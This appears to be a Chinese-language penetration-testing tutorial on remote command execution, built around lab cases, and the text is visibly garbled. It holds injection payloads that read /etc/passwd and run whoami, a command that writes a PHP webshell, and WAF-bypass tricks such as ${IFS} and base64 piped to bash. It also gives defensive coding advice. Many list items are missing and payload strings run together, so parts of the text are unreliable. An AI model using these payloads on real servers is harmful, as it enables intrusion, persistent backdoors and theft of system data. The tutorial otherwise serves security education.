RCE(Remote Code/Command Execution)漏洞作为OWASP Top 10的常客,是渗透测试中最危险的漏洞类型之一。去年某大型电商平台就因未过滤的eval()函数导致千万用户数据泄露。本文将结合两个典型靶场案例,带您深入理解RCE的底层原理和防御之道。
RCE分为两种形式:
它们的共同危险在于攻击者可以通过精心构造的输入,在服务器上获得与Web服务相同的执行权限。我曾在一个企业内网测试中,仅用; cat /etc/passwd就获取了全部用户列表。
开发中常见的危险操作包括:
php复制// 典型危险代码示例
$cmd = $_GET['cmd'];
system("ping -c 3 " . $cmd); // 直接拼接用户输入
这类代码的问题在于:
使用Firefox渗透版进行信息收集时,重点关注:
Server和X-Powered-By技巧:在开发者工具的Network面板中,勾选"Preserve log"避免请求记录丢失
当发现疑似注入点时,测试流程应为:
127.0.0.1; | && ||& | && ||在案例中使用的| ls之所以有效,是因为:
system("ping " + user_input)的代码ping 127.0.0.1 | ls关键配置步骤:
当遇到WAF拦截时,可以尝试:
127.0.0.1%20%7C%20lsa=l;b=s;$a$b127.0.0.1 # | ls通过修改POST路径发现的漏洞往往涉及:
在测试案例中,从session_login.cgi到password_change.cgi的切换,暴露出权限校验缺陷。
有效payload的组成要素:
python复制"test" + [命令分隔符] + [系统命令] + [输出重定向]
实际测试时应考虑:
例如:
bash复制# 获取web目录绝对路径
test|pwd
# 查看进程权限
test|whoami
# 写入webshell
test|echo '<?php system($_GET[1]);?>' > shell.php
在Linux系统中,关键文件路径包括:
/etc/passwd 用户账户信息/proc/self/environ 环境变量/var/log/apache2/access.log Web访问日志~/.bash_history 历史命令重要:实际操作中应先确认当前用户权限,避免触发系统告警
实施多层防御:
/^[a-z0-9.]$/i)Java示例:
java复制// 安全版本
if (!Pattern.matches("^[0-9.]+$", input)) {
throw new IllegalArgumentException();
}
String cmd = "ping -c 3 " + input;
subprocess.run([...])代替os.systemescapeshellarg()处理参数disable_functions=system,...nginx复制location ~* \.(cgi|pl|py)$ {
deny all;
}
无命令回显:
尝试输出重定向:
bash复制| ls > /var/www/html/result.txt
空格被过滤:
使用${IFS}替代:
bash复制cat${IFS}/etc/passwd
特殊字符限制:
使用base64编码:
bash复制echo "bHMgLWxh" | base64 -d | bash
框架特性审计:
SpEL表达式注入SSTI模板注入二次漏洞组合:
供应链攻击面:
command.php等危险文件在一次真实渗透中,我通过log4j漏洞先获取初始立足点,再结合Jenkins的Groovy脚本控制台最终拿下了整个内网。这提醒我们安全防御需要全链路覆盖。
必须强调:所有渗透测试必须获得书面授权。去年某安全研究员因未授权测试被判刑的案例值得警惕。建议:
在实际工作中,我始终坚持"最小影响"原则:只读取证明漏洞存在的必要信息(如/etc/hostname),绝不触碰业务数据。